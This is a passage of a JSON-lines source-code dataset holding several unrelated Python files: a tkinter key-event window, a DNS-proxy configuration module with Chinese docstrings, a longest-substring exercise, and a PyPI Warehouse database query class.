geometry = '{0:d}x{1:d}'.format(root.width, root.height) \n root.geometry(geometry) # ex. root.geometry('600x400')\n root.title(\"window\")\n\n # bind events\n root.bind_all('', self.onKey)\n\n def run(self):\n self.root.mainloop()\n\n def onKey(self, event):\n if event.char == event.keysym or len(event.char) == 1:\n if event.keysym == 'Right':\n print(\"key Right\") \n elif event.keysym == 'Left':\n print(\"key Left\") \n elif event.keysym == 'Space':\n print(\"key Space\") \n elif event.keysym == 'Escape':\n print(\"key Escape\") \n self.root.destroy()\n\nif __name__ == '__main__':\n program = ProgramBase(tk.Tk())\n program.run()\n print(\"quit, bye bye ...\")\n\n\n\n\n\n ","sub_path":"Root.py","file_name":"Root.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"560948641","text":"# -*- encoding: utf-8 -*-\n\nimport re\nimport os, sys\n\nfrom log import log\nfrom settings import env, listener\n\nclass PlaceHolder:\n '''\n 绑定 Binder 时候的占位符。\n '''\n def __init__(self, index=None, keyword=None, optional=False):\n if index is None and keyword is None:\n raise ValueError('A placeholder with bold index and keyword is None is invalid.')\n self.index = index\n self.keyword = keyword\n self.optional = optional\n \n def get(self, args, kwargs):\n # 寻找参数\n if self.index is not None and len(args) > self.index:\n return ( True, args[self.index] )\n \n if self.keyword is not None and self.keyword in kwargs:\n return ( True, kwargs[self.keyword] )\n \n # 如果是 optional,则忽略\n if self.optional:\n return (False, None)\n \n # 整理出错信息\n if self.keyword is not None and self.index is not None:\n raise TypeError('绑定需要匿名参数 %(ind)s 或者 命名参数 %(kw)s。' %\n {'ind': self.index, 'kw': self.keyword})\n elif self.keyword is not None:\n raise TypeError('绑定需要命名参数 %(kw)s。' %\n {'ind': self.index, 'kw': self.keyword})\n else:\n raise TypeError('绑定需要匿名参数 %(ind)s。' %\n {'ind': self.index, 'kw': self.keyword})\n\nclass Binder:\n '''\n 给 callable 对象绑定参数,并生成新的 callable 对象。\n '''\n \n # 创建占位符常量\n #for i in xrange(0, 20):\n # setattr(self, '_%s' % i, PlaceHolder(i))\n _0 = PlaceHolder(0)\n _1 = PlaceHolder(1)\n _2 = PlaceHolder(2)\n _3 = PlaceHolder(3)\n _4 = PlaceHolder(4)\n _5 = PlaceHolder(5)\n _6 = PlaceHolder(6)\n _7 = PlaceHolder(7)\n _8 = PlaceHolder(8)\n \n \n # 构造一个绑定\n def __init__(self, fp, *args, **kwargs):\n # 检查参数\n if not callable(fp):\n raise TypeError('\"fp\" must be a callable object.')\n \n # 记录参数\n self._fp = fp\n self._args = args\n self._kwargs = kwargs\n \n # 执行绑定\n def __call__(self, *args, **kwargs):\n new_args = []\n new_kwargs = {}\n \n for v in self._args:\n if isinstance(v, PlaceHolder):\n v = v.get(args, kwargs)\n if v[0]:\n new_args.append(v[1])\n else:\n new_args.append(v)\n \n for k,v in self._kwargs.iteritems():\n if isinstance(v, PlaceHolder):\n v = v.get(args, kwargs)\n if v[0]:\n new_kwargs[k] = v[1]\n else:\n new_kwargs[k] = v\n \n return self._fp(*new_args, **new_kwargs)\n \nclass LateBinder:\n '''\n 延迟创建绑定对象。\n '''\n def __init__(self, *args, **kwargs):\n self._args = args\n self._kwargs = kwargs\n \n def __call__(self, fp):\n return Binder(fp, *self._args, **self._kwargs)\n\nclass Proxy:\n '''\n 提供对 Server, Resolvers, Hittests 等对象\n 配置的代理访问。\n '''\n \n def __init__(self, factory, protocol, total, cache):\n self.server = factory\n self.factory = factory\n self.protocol = protocol\n self.total = total\n self.cache = cache\n \n #########\n # 代理函数规则设定。\n #\n _PROXY_METHODS = (\n ( \n re.compile('add_([a-zA-Z0-9_]+)_resolver'),\n 'add_resolver',\n lambda fp, name: Binder(fp, name, Binder._0, Binder._1, Binder._2,\n PlaceHolder(index=3, optional=True),\n PlaceHolder(keyword='timeout', optional=True))\n ),\n (\n re.compile('match_([a-zA-Z0-9_]+)'),\n 'match',\n lambda fp, name: Binder(fp, name, Binder._0, Binder._1, \n PlaceHolder(index=2, optional=True),\n PlaceHolder(keyword='privilege', optional=True))\n ),\n )\n \n def __getattr__(self, name):\n # 检查规则设定\n fp = None\n for rule in Proxy._PROXY_METHODS:\n mt = rule[0].match(name)\n if mt:\n name_0 = mt.group(1)\n try:\n fp = getattr(self, rule[1])\n return rule[2](fp, name_0)\n except AttributeError:\n pass\n \n # 递归到父对象\n return object.__getattribute__(self, name)\n \n #########\n # 配置对象的总控制。\n #\n \n def beginConfig(self):\n '''\n 锁定服务器,进入配置模式。\n beginConfig()\n '''\n self.server.lock()\n \n def endConfig(self):\n '''\n 退出配置模式,解锁服务器。\n endConfig()\n '''\n self.server.force_unlock()\n \n def reset(self):\n '''\n 将所有配置清空。\n reset()\n '''\n self.server.lock()\n self.server.prefer_ipv6 = True\n self.total.reset()\n self.cache.clearAll()\n self.stop_listening()\n self.server.unlock()\n \n #########\n # 操作缓存对象\n #\n \n def clear_cache(self):\n '''\n 清除所有 DNS 本地缓存。\n clear_cache()\n '''\n self.cache.clearAll()\n \n #########\n # 操作服务器对象\n #\n \n def like_ipv6(self):\n '''\n 设置服务器偏好 IPv6 (AAAA) 记录。\n like_ipv6()\n \n 当服务器置于“偏好 IPv6”的模式下时,当被查询 A 记录的域名\n 同时拥有 AAAA 记录,则将返回“A 记录不存在”的信息。\n '''\n self.server.prefer_ipv6 = True\n \n def dislike_ipv6(self):\n '''\n 设置服务器并不偏好 IPv6 (AAAA) 记录。\n dislike_ipv6()\n '''\n self.server.prefer_ipv6 = False\n \n def listen_tcp(self, port, interface=''):\n '''\n 打开 TCP 侦听端口。\n listen_tcp(port, [interface=''])\n \n 参数:\n \n port -- 整型。要侦听的 TCP 端口号。\n interface -- 字符串。要侦听的 IP 地址。\n 如果为空,则为全部侦听。默认为空。\n '''\n return listener.listenTCP(port=port, factory=self.factory, interface=interface)\n \n def listen_udp(self, port, interface=''):\n '''\n 打开 UDP 侦听端口。\n listen_udp(port, [interface=''])\n \n 参数:\n \n port -- 整型。要侦听的 UDP 端口号。\n interface -- 字符串。要侦听的 IP 地址。\n 如果为空,则为全部侦听。默认为空。\n '''\n return listener.listenUDP(port=port, protocol=self.protocol, interface=interface)\n \n def stop_listening(self):\n '''\n 关闭所有正在侦听的端口。\n stop_listening()\n '''\n return listener.reset()\n \n \n #########\n # 配置环境变量\n #\n \n def set_current_path(self, current_path):\n '''\n 设置当前路径。\n set_current_path(current_path)\n chdir(current_path)\n '''\n return env.setCurrentPath(current_path)\n \n def set_app_path(self, app_path):\n '''\n 设置程序文件路径。\n set_app_path(app_path)\n chroot(app_path)\n '''\n return env.setAppPath(app_path)\n \n def set_config_path(self, config_path):\n '''\n 设置配置文件路径。\n set_config_path(config_path)\n '''\n return env.setConfigPath(config_path)\n \n chdir = set_current_path\n chroot = set_app_path\n \n #########\n # 配置命中测试的条件。\n #\n \n def match(self, hit_type, pattern, resolver, privilege=5):\n '''\n 添加命中测试条件。\n match(hit_type, pattern, resolver, [privilege=5])\n \n 参数:\n \n hit_type -- 命中测试的类型。\n pattern -- 命中测试的模式字符串。\n resolver -- 匹配测试之后使用的解析器。\n privilege -- 条件的优先级。数值越小优先级越高。默认为 5。\n '''\n self.total.hits.add(hit_type, pattern, resolver, privilege)\n \n #########\n # 配置 DNS 解析器。\n #\n \n def add_resolver(self, resolver_type, resolver_name, server, port, timeout=None, **kwargs):\n '''\n 添加 DNS 解析器。\n add_resolver(resolver_type, resolver_name, server, port, [timeout=None])\n \n 参数:\n \n resolver_type -- 解析器类型。\n resolver_name -- 解析器名称。\n server -- 解析器服务器地址。\n port -- 解析器服务器端口号。\n timeout -- 超时秒数。默认为 None。\n \n 注意:\n \n 如果程序没有配置默认解析器,则最先配置的解析器将成为默认解析器。\n '''\n ret = self.total.resolvers.create(resolver_name, resolver_type,\n server, port, timeout, **kwargs)\n if not self.total.default_resolver:\n self.total.set_default(resolver_name)\n return ret\n \n #########\n # 配置 HOSTS 表\n #\n def load_system_hosts(self, privilege=50):\n '''\n 读取系统 HOSTS 表。\n load_system_hosts([privilege=50])\n \n 参数:\n \n privilege -- 可选。HOSTS 表在所有表集合中的优先级。\n 优先级的值越小,优先级越大。默认为 50。\n \n 注意:\n \n 无论是否为 posix 操作系统,程序始终将检测 /etc/hosts\n 是否存在;如果存在,则其将为优先选项。也就是说,Windows\n 下面,如果程序所在分区的根目录中存在 /etc/hosts,则将\n 被使用。\n '''\n # 检测当前的系统,以此确定系统 HOSTS 表的位置\n path = '/etc/hosts'\n if sys.platform == 'win32':\n sys_root = os.getenv('SYSTEMROOT')\n if not sys_root:\n sys_root = 'C:\\\\Windows'\n path = os.path.join(sys_root, 'system32/drivers/etc/hosts')\n \n # 读取系统 HOSTS 表\n return self.total.hosts.load_system(path, privilege)\n \n def load_advanced_hosts(self, file_path, privilege=50):\n '''\n 读取增强的 HOSTS 表。\n load_hosts(file_path, [privilege=50])\n load_advanced_hosts(file_path, [privilege=50])\n \n 参数:\n \n file_path -- HOSTS 表的路径。将依次搜索\n current_path,config_path 与 app_path。\n privilege -- 可选。HOSTS 表在所有表集合中的优先级。\n 优先级的值越小,优先级越大。默认为 50。\n '''\n # 配置搜索路径\n file_to_search = (\n os.path.join(env.currentPath, file_path),\n os.path.join(env.configPath, file_path),\n os.path.join(env.appPath, file_path),\n )\n for path in file_to_search:\n if os.path.isfile(path):\n return self.total.hosts.load_advanced(path, privilege)\n \n log.warning('[配置] 增强的 HOSTS 表无法被载入:找不到指定文件 \"%s\"。' % file_path)\n \n load_hosts = load_advanced_hosts\n \n def load_regex_hosts(self, file_path, privilege=50):\n '''\n 读取正则表达式的 HOSTS 表。\n load_regex_hosts(file_path, [privilege=50])\n \n 参数:\n \n file_path -- HOSTS 表的路径。将依次搜索\n current_path,config_path 与 app_path。\n privilege -- 可选。HOSTS 表在所有��集合中的优先级。\n 优先级的值越小,优先级越大。默认为 50。\n '''\n # 配置搜索路径\n file_to_search = (\n os.path.join(env.currentPath, file_path),\n os.path.join(env.configPath, file_path),\n os.path.join(env.appPath, file_path),\n )\n for path in file_to_search:\n if os.path.isfile(path):\n return self.total.hosts.load_regex(path, privilege)\n \n log.warning('[配置] 正则表达式 HOSTS 表无法被载入:找不到指定文件 \"%s\"。' % file_path)\n\n","sub_path":"network/dns-proxy/src/settings/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":12749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"71297043","text":"# \"pwjkewjja\"\n# \"paewkltz\"\n# Input: s = \"abcabcbb\"\n# Output: 3\n# Explanation: The answer is \"abc\", with the length of 3.\n# Example 2:\n#\n# Input: s = \"bbbbb\"\n# Output: 1\n# Explanation: The answer is \"b\", with the length of 1.\n# Example 3:\n#\n# Input: s = \"pwwkew\"\n# Output: 3\n# Explanation: The answer is \"wke\", with the length of 3.\n# Notice that the answer must be a substring, \"pwke\" is a subsequence and not a substring.\n# Example 4:\n#\n# Input: s = \"\"\n# Output: 0\n# class Solution(object):\ndef lengthOfLongestSubstring(lists):\n lists = (list(lists)) # work with this\n\n # print(lists)\n newlist = []\n mymemory = []\n k = 0\n x = 0\n y = 0\n\n if not lists:\n print(\"list is empty\")\n newlist = [0]\n # print(lists)\n else:\n\n while x <= len(lists) - 1:\n if lists[x] in mymemory:\n # print(mymemory)\n k = len(mymemory)\n newlist.append(k)\n mymemory = []\n y = y + 1\n x = y\n\n # print(k)\n elif lists[x] not in mymemory:\n mymemory.append(lists[x])\n z = len(mymemory)\n newlist.append(z)\n # mymemory=[]\n\n x = x + 1\n\n return (max(newlist))\n\n\n# call function\nlists = \"rtttyhnbgrbgf\"\nresult = lengthOfLongestSubstring(lists)\nprint(result)\n\n\n","sub_path":"longest substring.py","file_name":"longest substring.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"300401243","text":"# Copyright 2013 Donald Stufft\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport datetime\nimport logging\nimport os.path\nimport urllib.parse\nimport pkg_resources\nimport readme.rst\n\nfrom collections import defaultdict\n\nfrom warehouse import db\nfrom warehouse import utils\nfrom warehouse.packaging.tables import (ReleaseDependencyKind,\n packages,\n releases)\n\n\nlog = logging.getLogger(__name__)\n\n\nclass Database(db.Database):\n\n get_project_count = db.scalar(\n \"SELECT COUNT(*) FROM packages\"\n )\n\n get_download_count = db.scalar(\n \"SELECT SUM(downloads) FROM release_files\",\n default=0,\n )\n\n get_recently_updated = db.rows(\n # We only consider releases made in the last 7 days, otherwise we have\n # to do a Sequence Scan against the entire table and it takes 5+\n # seconds to complete. This shouldn't be a big deal as it is highly\n # unlikely we'll have a week without at least 10 releases.\n \"\"\" SELECT *\n FROM (\n SELECT DISTINCT ON (name) name, version, summary, created\n FROM releases\n WHERE created >= now() - interval '7 days'\n ORDER BY name, created DESC\n ) r\n ORDER BY r.created DESC\n LIMIT 10\n \"\"\"\n )\n\n get_recent_projects = db.rows(\n # We only consider projects registered in the last 7 days (see\n # get_recently_updated for reasoning)\n \"\"\" SELECT\n p.name, r.version, p.created, r.summary\n FROM releases r, (\n SELECT packages.name, max_order, packages.created\n FROM packages\n JOIN (\n SELECT name, max(_pypi_ordering) AS max_order\n FROM releases\n WHERE created >= now() - interval '7 days'\n GROUP BY name\n ) mo ON packages.name = mo.name\n ) p\n WHERE p.name = r.name\n AND p.max_order = r._pypi_ordering\n AND p.created >= now() - interval '7 days'\n ORDER BY p.created DESC\n LIMIT %(num)s\n \"\"\"\n )\n\n get_releases_since = db.rows(\n \"\"\" SELECT name, version, created, summary\n FROM releases\n WHERE created > %s\n ORDER BY created DESC\n \"\"\"\n )\n\n get_reverse_dependencies = db.rows(\n \"\"\" SELECT DISTINCT name\n FROM release_dependencies\n WHERE specifier LIKE %s\n \"\"\"\n )\n\n get_changed_since = db.rows(\n \"\"\" SELECT name, max(submitted_date) FROM journals\n WHERE submitted_date > %s\n GROUP BY name\n ORDER BY max(submitted_date) DESC\n \"\"\",\n row_func=lambda r: r[0]\n )\n\n all_projects = db.rows(\n \"SELECT name FROM packages ORDER BY lower(name)\",\n row_func=lambda r: r[\"name\"]\n )\n\n def get_top_projects(self, num=None):\n query = \\\n \"\"\" SELECT name, sum(downloads)\n FROM release_files\n GROUP BY name\n ORDER BY sum(downloads) DESC\n \"\"\"\n if num:\n query += \"LIMIT %(limit)s\"\n\n return [tuple(r) for r in self.engine.execute(query, limit=num)]\n\n get_project = db.first(\n \"\"\" SELECT *\n FROM packages\n WHERE normalized_name = lower(\n regexp_replace(%s, '_', '-', 'ig')\n )\n \"\"\"\n )\n\n get_projects_for_user = db.rows(\n \"\"\" SELECT DISTINCT ON (lower(name)) name, summary\n FROM (\n SELECT package_name\n FROM roles\n WHERE user_name = %s\n ) roles\n INNER JOIN (\n SELECT name, summary\n FROM releases\n ORDER BY _pypi_ordering DESC\n ) releases\n ON (releases.name = roles.package_name)\n ORDER BY lower(name)\n \"\"\"\n )\n\n get_users_for_project = db.rows(\n \"\"\" SELECT DISTINCT ON (u.username) u.username, u.email\n FROM (\n SELECT username, email\n FROM accounts_user\n LEFT OUTER JOIN accounts_email ON (\n accounts_email.user_id = accounts_user.id\n )\n ) u\n INNER JOIN roles ON (u.username = roles.user_name)\n WHERE roles.package_name = %s\n \"\"\"\n )\n\n get_roles_for_project = db.rows(\n \"\"\" SELECT user_name, role_name\n FROM roles\n WHERE package_name = %s\n ORDER BY role_name, user_name\n \"\"\"\n )\n\n get_roles_for_user = db.rows(\n \"\"\" SELECT package_name, role_name\n FROM roles\n WHERE user_name = %s\n ORDER BY package_name, role_name\n \"\"\"\n )\n\n get_hosting_mode = db.scalar(\n \"SELECT hosting_mode FROM packages WHERE name = %s\"\n )\n\n get_release_urls = db.mapping(\n \"\"\" SELECT version, home_page, download_url\n FROM releases\n WHERE name = %s\n ORDER BY version DESC\n \"\"\",\n key_func=lambda r: r[\"version\"],\n value_func=lambda r: (r[\"home_page\"], r[\"download_url\"]),\n )\n\n def get_release_dependencies(self, project_name, version):\n query = \\\n \"\"\"\n SELECT * FROM release_dependencies\n WHERE name = %(name)s\n AND version = %(version)s\n \"\"\"\n specifier_dict = defaultdict(set)\n for row in self.engine.execute(query, name=project_name,\n version=version):\n specifier_dict[row['kind']].add(row['specifier'])\n return specifier_dict\n\n get_external_urls = db.rows(\n \"\"\" SELECT DISTINCT ON (url) url\n FROM description_urls\n WHERE name = %s\n ORDER BY url\n \"\"\",\n row_func=lambda r: r[\"url\"]\n )\n\n get_release_external_urls = db.rows(\n \"\"\" SELECT DISTINCT ON (url) url\n FROM description_urls\n WHERE name = %s\n AND version = %s\n ORDER BY url\n \"\"\",\n row_func=lambda r: r[\"url\"]\n )\n\n get_file_urls = db.rows(\n \"\"\" SELECT name, filename, python_version, md5_digest\n FROM release_files\n WHERE name = %s\n ORDER BY filename DESC\n \"\"\",\n lambda r: {\n \"filename\": r[\"filename\"],\n \"url\": urllib.parse.urljoin(\n \"/\".join([\n \"../../packages\",\n r[\"python_version\"],\n r[\"name\"][0],\n r[\"name\"],\n r[\"filename\"],\n ]),\n \"#md5={}\".format(r[\"md5_digest\"]),\n ),\n }\n )\n\n get_project_for_filename = db.scalar(\n \"SELECT name FROM release_files WHERE filename = %s\"\n )\n\n get_filename_md5 = db.scalar(\n \"SELECT md5_digest FROM release_files WHERE filename = %s\"\n )\n\n def get_last_serial(self, name=None):\n if name is not None:\n query = \"SELECT MAX(id) FROM journals WHERE name = %(name)s\"\n else:\n query = \"SELECT MAX(id) FROM journals\"\n\n return db.scalar(query)(self, name=name)\n\n get_projects_with_serial = db.mapping(\n \"SELECT name, max(id) FROM journals GROUP BY name\",\n )\n\n get_project_versions = db.rows(\n \"\"\" SELECT version\n FROM releases\n WHERE name = %s\n ORDER BY _pypi_ordering DESC\n \"\"\",\n row_func=lambda r: r[\"version\"]\n )\n\n def get_downloads(self, project, version):\n query = \\\n \"\"\" SELECT\n name, version, python_version, packagetype, comment_text,\n filename, md5_digest, downloads, upload_time\n FROM release_files\n WHERE name = %(project)s AND version = %(version)s\n ORDER BY packagetype, python_version, upload_time\n \"\"\"\n\n results = []\n for r in self.engine.execute(query, project=project, version=version):\n result = dict(r)\n result[\"filepath\"] = os.path.join(\n self.app.config.paths.packages,\n result[\"python_version\"],\n result[\"name\"][0],\n result[\"name\"],\n result[\"filename\"],\n )\n if not os.path.exists(result[\"filepath\"]):\n log.error(\n \"%s missing for package %s %s\",\n result[\"filepath\"],\n result[\"name\"],\n result[\"version\"])\n continue\n result[\"url\"] = \"/\".join([\n \"/packages\",\n result[\"python_version\"],\n result[\"name\"][0],\n result[\"name\"],\n result[\"filename\"],\n ])\n result[\"size\"] = os.path.getsize(result[\"filepath\"])\n\n if os.path.exists(result[\"filepath\"] + \".asc\"):\n result[\"pgp_url\"] = result[\"url\"] + \".asc\"\n else:\n result[\"pgp_url\"] = None\n\n results.append(result)\n\n return results\n\n def get_release(self, project, version):\n query = \\\n \"\"\" SELECT\n name, version, author, author_email, maintainer,\n maintainer_email, home_page, license, summary, description,\n keywords, platform, download_url, created\n FROM releases\n WHERE name = %(project)s AND version = %(version)s\n ORDER BY _pypi_ordering DESC\n LIMIT 1\n \"\"\"\n\n result = [\n dict(r)\n for r in self.engine.execute(query, project=project,\n version=version)\n ]\n if len(result) == 0:\n return None\n else:\n result = result[0]\n\n # Load dependency information\n query = \\\n \"\"\" SELECT name, version, kind, specifier\n FROM release_dependencies\n WHERE name = %(project)s AND version = %(version)s\n ORDER BY kind, specifier\n \"\"\"\n\n dependency_data = {}\n for dependency in self.engine.execute(\n query,\n project=project,\n version=version):\n kind = ReleaseDependencyKind(dependency[\"kind\"])\n\n if kind in {\n ReleaseDependencyKind.requires_dist,\n ReleaseDependencyKind.provides_dist,\n ReleaseDependencyKind.obsoletes_dist}:\n value = dependency_data.setdefault(kind.name, [])\n value.append(dependency[\"specifier\"])\n\n if kind is ReleaseDependencyKind.project_url:\n value = dependency_data.setdefault(kind.name, {})\n value.update(dict([dependency[\"specifier\"].split(\",\", 1)]))\n result.update(dependency_data)\n\n return result\n\n get_releases = db.rows(\n \"\"\" SELECT\n name, version, author, author_email, maintainer,\n maintainer_email, home_page, license, summary, keywords,\n platform, download_url, created\n FROM releases\n WHERE name = %s\n ORDER BY _pypi_ordering DESC\n \"\"\"\n )\n\n get_full_latest_releases = db.rows(\n \"\"\" SELECT DISTINCT ON (name)\n name, version, author, author_email, maintainer,\n maintainer_email, home_page, license, summary, description,\n keywords, platform, download_url, created\n FROM releases\n ORDER BY name, _pypi_ordering DESC\n \"\"\"\n )\n\n def get_download_counts(self, project):\n def _make_key(precision, datetime, key):\n return \"downloads:{}:{}:{}\".format(\n precision[0],\n datetime.strftime(precision[1]),\n key,\n )\n\n precisions = [\n (\"hour\", \"%y-%m-%d-%H\"),\n (\"daily\", \"%y-%m-%d\"),\n ]\n\n # Get the current utc time\n current = datetime.datetime.utcnow()\n\n # Get the download count for the last 24 hours (roughly)\n keys = [\n _make_key(\n precisions[0],\n current - datetime.timedelta(hours=x),\n project,\n )\n for x in range(25)\n ]\n last_1 = sum(\n [int(x) for x in self.redis.mget(*keys) if x is not None]\n )\n\n # Get the download count for the last 7 days (roughly)\n keys = [\n _make_key(\n precisions[1],\n current - datetime.timedelta(days=x),\n project,\n )\n for x in range(8)\n ]\n last_7 = sum(\n [int(x) for x in self.redis.mget(*keys) if x is not None]\n )\n\n # Get the download count for the last month (roughly)\n keys = [\n _make_key(\n precisions[1],\n current - datetime.timedelta(days=x),\n project,\n )\n for x in range(31)\n ]\n last_30 = sum(\n [int(x) for x in self.redis.mget(*keys) if x is not None]\n )\n\n return {\n \"last_day\": last_1,\n \"last_week\": last_7,\n \"last_month\": last_30,\n }\n\n get_classifiers = db.rows(\n \"\"\" SELECT classifier\n FROM release_classifiers\n INNER JOIN trove_classifiers ON (\n release_classifiers.trove_id = trove_classifiers.id\n )\n WHERE name = %s AND version = %s\n ORDER BY classifier\n \"\"\",\n row_func=lambda r: r[\"classifier\"]\n )\n\n def get_classifier_ids(self, classifiers):\n query = \\\n \"\"\" SELECT classifier, id\n FROM trove_classifiers\n WHERE classifier IN %(classifiers)s\n \"\"\"\n\n return {\n r[\"classifier\"]: r[\"id\"]\n for r in self.engine.execute(query, classifiers=tuple(classifiers))\n }\n\n def search_by_classifier(self, selected_classifiers):\n # Note: selected_classifiers is a list of ids from trove_classifiers\n if not selected_classifiers:\n return []\n\n # generate trove id -> level mapping\n trove = {}\n query = \"SELECT * FROM trove_classifiers\"\n for id, classifier, l2, l3, l4, l5 in self.engine.execute(query):\n if id == l2:\n trove[id] = 2\n elif id == l3:\n trove[id] = 3\n elif id == l4:\n trove[id] = 4\n else:\n trove[id] = 5\n\n # compute a statement to produce all packages selected\n query = \"SELECT name, version FROM releases\"\n for c in selected_classifiers:\n level = trove[c]\n query = \\\n \"\"\" SELECT DISTINCT a.name, a.version\n FROM (%s) a, release_classifiers rc, trove_classifiers t\n WHERE a.name=rc.name\n AND a.version=rc.version\n AND rc.trove_id=t.id\n AND t.l%d=%d\n \"\"\" % (query, level, c)\n\n releases = []\n for name, version in self.engine.execute(query):\n releases.append((name, version))\n\n return releases\n\n def get_documentation_url(self, project):\n path_parts = [\n self.app.config.paths.documentation,\n project,\n \"index.html\",\n ]\n if os.path.exists(os.path.join(*path_parts)):\n return urllib.parse.urljoin(\n self.app.config.urls.documentation,\n project\n ) + \"/\"\n\n get_bugtrack_url = db.scalar(\n \"SELECT bugtrack_url FROM packages WHERE name = %s\"\n )\n\n get_changelog = db.rows(\n \"\"\" SELECT name, version, submitted_date, action, id\n FROM journals\n WHERE journals.submitted_date > %s\n ORDER BY submitted_date DESC\n \"\"\"\n )\n\n get_last_changelog_serial = db.scalar(\n \"SELECT max(id) FROM journals\"\n )\n\n get_changelog_serial = db.rows(\n \"\"\" SELECT name, version, submitted_date, action, id\n FROM journals\n WHERE journals.id > %s\n ORDER BY submitted_date DESC\n \"\"\"\n )\n\n# data Modification Methods\n\n def upsert_project(self, name, username, user_ip, **additional_columns):\n # NOTE: pypi behaviour is to assign the first submitter of a\n # project the \"owner\" role. this code does not\n # perform that behaviour (implement in the view instead)\n db.validate_argument_column_mapping(additional_columns, packages)\n\n existing_project = self.get_project(name)\n\n if existing_project:\n message = \"updating project {0}\".format(existing_project['name'])\n query = (packages.update()\n .where(packages.c.name == existing_project['name']))\n else:\n message = \"create\"\n query = packages.insert()\n\n self.engine.execute(query.values(\n name=name,\n normalized_name=utils.normalize_project_name(name),\n **additional_columns\n ))\n\n self._insert_journal_entry(name, None, message, username, user_ip)\n\n def delete_project(self, name):\n for release in self.get_releases(name):\n self.delete_release(name, release['version'])\n self.engine.execute(\"DELETE FROM packages WHERE name = %(name)s\",\n name=name)\n\n def upsert_release(self, project_name, version, username, user_ip,\n classifiers=None, release_dependencies=None,\n description=None, **additional_db_values):\n \"\"\"\n Takes in the following:\n\n * project_name: the name of the package to insert\n * version: the version of the package to insert\n * username: username of the user upserting the package\n * user_ip: ip address of the user upserting the package\n * classifiers: a list of the classifiers to classify the release with\n * release_dependencies: a dictionary of\n 'ReleaseDependencyKind.value: [specifier]' pairs.\n * description: a restructured text description of the release/project\n * additional_db_values: any other column in the release table,\n as specified by get_settable_release_columns\n\n and inserts the release (if one doesn't exist), or updates otherwise\n \"\"\"\n is_update = self.get_release(project_name, version) is not None\n modified_elements = list(additional_db_values.keys())\n\n db.validate_argument_column_mapping(\n additional_db_values,\n releases,\n blacklist=['name', 'version', 'description', 'description_html',\n '_pypi_ordering', '_pypi_hidden']\n )\n\n if not is_update:\n additional_db_values['name'] = project_name\n additional_db_values['version'] = version\n\n if description:\n modified_elements += ['description', 'description_html']\n additional_db_values['description'] = description\n additional_db_values['description_html'] = \\\n readme.rst.render(description)[0]\n\n if len(additional_db_values) > 0:\n if is_update:\n self.engine.execute(\n releases\n .update()\n .where(releases.columns.name == project_name)\n .where(releases.columns.version == version)\n .values(**additional_db_values)\n )\n else:\n self.engine.execute(\n releases.insert().values(**additional_db_values)\n )\n\n # external tables\n\n # this is legacy behavior. According to PEP-438, we should\n # no longer support parsing urls from descriptions\n hosting_mode = self.get_hosting_mode(project_name)\n if hosting_mode in ('pypi-scrape-crawl', 'pypi-scrape') \\\n and 'description_html' in additional_db_values:\n\n self.update_release_external_urls(\n project_name, version,\n utils.find_links_from_html(\n additional_db_values['description_html']\n )\n )\n\n if classifiers:\n modified_elements.append('classifiers')\n self.update_release_classifiers(project_name, version,\n classifiers)\n\n if release_dependencies:\n self.update_release_dependencies(project_name, version,\n release_dependencies)\n\n if is_update:\n journal_message = 'update {0}'.format(','.join(modified_elements))\n else:\n journal_message = \"new release\"\n\n self._insert_journal_entry(project_name, version, journal_message,\n username, user_ip)\n\n # insert specific actions\n\n if not is_update:\n self._update_release_ordering(project_name)\n\n def delete_release(self, project_name, version):\n # delete FK rows first\n for kind in ReleaseDependencyKind:\n self._delete_release_dependencies_of_kind(project_name,\n version, kind.value)\n\n self._delete_release_classifiers(project_name, version)\n self._delete_release_external_urls(project_name, version)\n\n # actual deletion from the release table\n delete_statement = \\\n \"\"\"\n DELETE FROM releases\n WHERE name = %(name)s\n AND version = %(version)s\n \"\"\"\n self.engine.execute(\n delete_statement,\n name=project_name,\n version=version\n )\n\n def _update_release_ordering(self, project_name):\n query = \\\n \"\"\"\n SELECT version, _pypi_ordering\n FROM releases\n WHERE name = %(name)s\n \"\"\"\n project_versions = [project for project in\n self.engine.execute(query, name=project_name)]\n sorted_versions = sorted(\n project_versions,\n key=(lambda x: pkg_resources.parse_version(x[0]))\n )\n query = \\\n \"\"\"\n UPDATE releases\n SET _pypi_ordering = %(order)s\n WHERE name = %(name)s\n AND version = %(version)s\n \"\"\"\n for order, (version, current) in enumerate(sorted_versions):\n if current != order:\n self.engine.execute(query, name=project_name,\n order=order, version=version)\n\n def update_release_classifiers(self, name, version, classifiers):\n self._delete_release_classifiers(name, version)\n insert_query = \\\n \"\"\" INSERT INTO release_classifiers\n (name, version, trove_id)\n VALUES\n (%(name)s, %(version)s, %(trove_id)s)\n \"\"\"\n classifier_id_dict = self.get_classifier_ids(classifiers)\n for classifier in classifiers:\n trove_id = classifier_id_dict[classifier]\n self.engine.execute(insert_query, name=name,\n version=version, trove_id=trove_id)\n\n def _delete_release_classifiers(self, name, version):\n query = \\\n \"\"\" DELETE FROM release_classifiers\n WHERE name = %(name)s\n AND version = %(version)s\n \"\"\"\n self.engine.execute(\n query,\n name=name,\n version=version\n )\n\n def update_release_external_urls(self, project_name, version, urls):\n self._delete_release_external_urls(project_name, version)\n insert_query = \\\n \"\"\" INSERT INTO description_urls\n (name, version, url)\n VALUES\n (%(name)s, %(version)s, %(url)s)\n \"\"\"\n for url in urls:\n self.engine.execute(insert_query, name=project_name,\n version=version, url=url)\n\n def _delete_release_external_urls(self, project_name, version):\n query = \\\n \"\"\" DELETE FROM description_urls\n WHERE name = %(name)s\n AND version = %(version)s\n \"\"\"\n self.engine.execute(\n query,\n name=project_name,\n version=version\n )\n\n def update_release_dependencies(self, project_name, version,\n specifier_dict):\n \"\"\"\n Takes in a project_name, version, and a release_dict of the format:\n { 